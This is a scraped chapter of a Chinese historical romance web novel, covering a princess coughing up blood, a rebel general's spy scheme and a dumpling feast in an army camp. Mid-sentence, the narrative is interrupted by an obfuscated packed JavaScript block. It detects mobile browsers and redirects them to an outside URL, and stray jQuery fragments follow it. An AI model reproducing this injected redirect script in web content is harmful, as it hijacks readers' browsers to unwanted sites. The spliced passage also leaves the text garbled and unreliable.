默认冷灰
24号文字
方正启体

54.不醉不归

作者:妄时序本书字数:K更新时间:
    “这是怎么了?”


    江以宁几乎是扑到白霄身上去的。她很少有这样情绪失控的时刻,此刻却什么都顾不上了。


    她双手捧住白霄的脸颊,眼神慌乱了一瞬,随即用拇指轻轻拭去她嘴角残留的血迹。那血还是温的,沾在她的指腹上,触目惊心。


    “无妨……可能是有些上火了。”白霄的气息还有些不稳。


    江以宁小心地调整着姿势,扶着白霄重新坐好,又腾出一只手耐心地轻抚着她的后背。她刚想出声唤阿菊过来,白霄却无意识将脑袋轻轻靠进了她怀里,胸脯还因为刚才的惊险时刻轻微上下起伏着。


    江以宁一下子怔住了,放在白霄身上的手一动也不敢动,生怕自己稍有僭越,白霄便会从她的身边离开。


    怀里的人呼吸渐渐平稳下来。江以宁低头看着她,连目光都温柔了几分。


    这样温存了片刻,帐外传来阿菊急匆匆的脚步声。


    “我方才听到徐小姐在尖叫,里面出事了吗?”阿菊停在帐外,声音里带着焦急。


    “我没事,你进来吧。”白霄的声音平稳了许多。


    阿菊掀帘而入,一眼便看见白霄靠在江以宁怀里。她还没来得及想这举动是否妥当,目光就被地上那滩血迹牢牢锁定了。


    “这……这……”


    阿菊脸色发白,被吓得说不上来话,几步冲上前去,抓着白霄上下打量,确认白霄的情况。


    白霄被她折腾得哭笑不得,终于忍不住扑哧笑出声来。


    “我要被你扯散架了。”白霄白了她一眼。


    阿菊这才回过神,讪讪松开了手。


    “属下只是关心公主。”


    还有力气开玩笑,看来是没什么大事,阿菊稍稍松了一口气。


    江以宁趁这间隙掏出绢帕,蹲下身,一点点擦拭地上的血迹。


    “公主真是不爱惜自己的身体,前几日才说自己胸口不舒服,今日又吐血。方才那军医来看过,可有说什么?”阿菊站起,帮白霄斟了杯热水,一边又絮絮叨叨念了起来。


    “前几日就身子不舒服么,”江以宁手上动作顿了顿,低着头,极小声地自言自语,“我竟然都不知道……”


    “军医说我身子并无大碍。”白霄接过阿菊递来的热水,捧在手里暖着,“想必这吐血不过是思虑过多,加上时节转换,平时多注意就好了。你看他不是也没给我开药方?若真有什么大症候,他肯定会开的。”


    “说的也是。”阿菊环顾四周,确实没看见药方的影子,这才稍稍安了心,点了点头。


    江以宁仍在擦拭那些血迹。案上的,地上的,一处也没落下。擦着擦着,她突然觉着这血的气味有些不对劲。她趁着阿菊和白霄说话,不动声色地用指尖沾了一点,凑近鼻端。


    几秒后,她神色不自然地皱起了眉头。


    “公主,我有些事情要出去一趟。”江以宁抬起头,向白霄说道。


    “去吧。”白霄扬了扬下巴,又转向阿菊,“你也先下去吧,我再好好盘算一下收缴叛军的事。”


    阿菊应了一声,简单收拾了桌案,退出帐外。


    江以宁刚出营帐,便快步绕到一处隐蔽的角落。她抬起手臂,轻轻唤了一声,小鸦扑棱着翅膀落下来,歪着头看她。


    她低下头,在小鸦耳边低语片刻,小鸦时不时叽叽喳喳应和几声,像听懂了她的话。


    交代完毕,江以宁轻轻扬手。小鸦振翅而起,转眼便消失不见。


    半边面具一如既往地在某些时刻遮挡着他的视线,史朝义熟练地抬手稍微调整了一下,随即继续全神贯注地阅读着手上的兵书。


    副将低着头大步走来,脚步在史朝义身旁停住,抱拳行礼:


    “将军,咱们新从各处村子里征来的士兵已经编入队伍了,有几个血气方刚的和几位老士兵起了争执,出手将老士兵打成了重伤,将军觉得应该怎么处置?”


    史朝义的目光依然停留在书页上,冷冷地说:


    “反正已经成重伤了,杀了吧。”


    “这……好吧。”


    副将的眉头蹙了一下,似是有些为难,但很快便低头应了下来。


    史朝义抬起眼皮瞥了他一眼,面无表情地继续翻开下一页。


    “只有强者才会受人尊敬,弱者只落得被人分食的下场。”他说道,“既然他们注定会遭人分食,我又何必花费时间和精力养着他们。刚来的几个青年不错,往后便顶替这几人的位置吧。”


    “是。”副将应道,迟疑了一下又说,“另外,属下还有一事禀告。”


    “说。”史朝义知道今天这书是读不成了,索性将书反扣在桌上,双手抱臂,靠在椅背上合上眼睛,准备听副将接下来的话。


    “韩当上次传递出来子午关撤防的消息,我已经派人去验证过了,确有此事。”副将上前一步,压低声音说道,“看来,他已经成功靠将军传授的技巧赢得了临湘公主和林牧驰的信任。”


    史朝义冷淡无波的面容终于有了几分欣悦之色,嘴角微微扬起一丝弧度。


    “那临湘公主果然吃这一套。”他冷笑一声,睁开眼看向副将,“去告诉韩当,不要轻举妄动,我们要放长线钓大鱼。另外,他带去的那些人有盯着他的动向吧?”


    “那是自然。”副将连连点头,“临走前,将军担心韩当太过实心肠被人算计,叫我多留个人手关照,我一直记挂着呢。韩当目前并无可疑举动,还是一心向着将军您的。”


    “他这个人,太老实。”史朝义接着说道,“很多时候,太老实的人会吃很多亏。不过,这件事我就是看他面相品性老实才让他去的,只要他不在关中军营生出非分之想,便由着他去吧。”


    “明白。”副将应道,“那这几日我们还是佯装休养生息,实则准备去子午关尝试突进?”


    “嗯,每次派去的人不要太多,三五十人即可,小心对面使诈。”史朝义点头,“让斥候先探清虚实,试探的人分成三批,交替前进,若遇埋伏立刻撤退,不得恋战。”


    副将认真记下,又等了一会儿,见将军没有其他吩咐,便躬身退下去执行了。


    俗话说得好:头伏饺子、二伏面、三伏烙饼摊鸡蛋。


    夏至过去已有好些日子,今天是夏至后的第三个庚日,也正是入伏的头一天。


    难得今年不在皇宫里头,不用跟着那群面和心不和的皇亲国戚往行宫去避暑,白霄便想着给将士们放半天假,一起过过这民间的头伏习俗。


    日头烈得很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295319|183961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,糯米本来兴致极好,缠着白霄要到外头玩耍,结果没走几步就被晒得耷拉下耳朵,蔫蔫地趴在白霄脚边不动了。白霄便打算抱它回去,和大伙儿一块包饺子。


    走到正门时,恰好撞见一个人影在门边晃悠,是韩当。


    他正探头探脑地往外张望,准备趁着放假去外面转悠转悠,顺便打探消息。


    “韩当?”白霄停下步子,“这么热的天,你不跟大家一起,要出去干什么?”


    韩当有些尴尬地猛地回过头,脸上堆起笑来,一边飞速思考着能找的借口。


    “还愣着干嘛,跟我一块儿回去吧。”白霄一只手给糯米遮着阳光,一边唤道。


    韩当有些犹豫,但想到此时拒绝容易引起白霄的怀疑,便硬着头皮跟了上去。


    阿菊和魏川已经把活动用的营帐收拾妥当,里头摆上一张长条木桌。桌上一头放着面粉、馅料、擀面杖这些包饺子的必备用品,另一头则摆满了消暑的吃食,有绿豆汤、酸梅汤、西瓜、甜瓜,还有几碗淋了蜜的冰酪。


    韩当洗净了手,好奇地凑到桌边。他学着阿菊和几个炊事班的士兵,拈起一张饺子皮,动作生疏地包起了饺子。饿了渴了,他便顺手捞块西瓜,或是舀碗酸梅汤喝。


    江以清和江以宁从小就会做饭,包起饺子来自然利落。两人手指翻飞,一捏一挤便是一个,速度是众人里头最快的。


    白霄虽是第一次尝试,却也看过许多次了,再加上她对吃食向来挑剔,因此调馅时格外用心。盐搁多少,酱油淋几圈,葱姜剁得多碎,都有讲究。


    林牧驰在军营里待得久了,粗枝大叶的,捏出来的饺子不是露了馅就是站不稳。他便干脆不包饺子,跟在白霄后头打下手,递个擀面杖、端个馅料盆,时不时趁机跟她说上几句。


    日头西斜时,大家伙儿终于包够了数。两大篦子饺子被抬进厨房,扑通扑通下了锅。灶膛里的火苗舔着锅底,不一会儿,锅里的水重新翻滚起来,白花花的饺子浮上水面,在沸水里打着转。


    香气从锅盖缝隙里钻出来,混着柴火的味道,热腾腾地扑在脸上。


    韩当站在灶边,闻着这股味道,忽然有些恍惚。他想起小时候,娘也是这样煮饺子,锅盖一掀,满屋子的白气,他和兄弟几个围在灶台边上,馋得直咽口水。


    这样的香气,竟让他没来由地感受到一丝家的温暖。


    这么好的日子,自然少不了酒。白霄怕大伙儿喝多了误了明日的训练,便让江以清叮嘱几句,意思到了就行,别往醉了喝。


    就算这样,胡桃还是喝高了。他正跟韩当他们划拳,忽然困意涌上来,身子一歪,整个人直梗梗地倒在了韩当肩上。


    “韩兄弟……好酒量,今夜……不醉不归。”


    韩当看他喝得烂醉,便轻轻托住胡桃的身子,把他放倒在地上,又从旁边扯了件衣裳给他盖在身上。


    胡桃翻了个身,咂了咂嘴,睡得很沉。


    韩当端着酒杯,低头看了他一会儿。旁边几个士兵也在笑闹着,有人往这边望了一眼,冲他扬了扬杯子。


    韩当忽然觉得,这样的日子,好像也没什么不好。


    他叹了口气,朝着躺在地上的胡桃举了举杯。


    “不醉不归。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)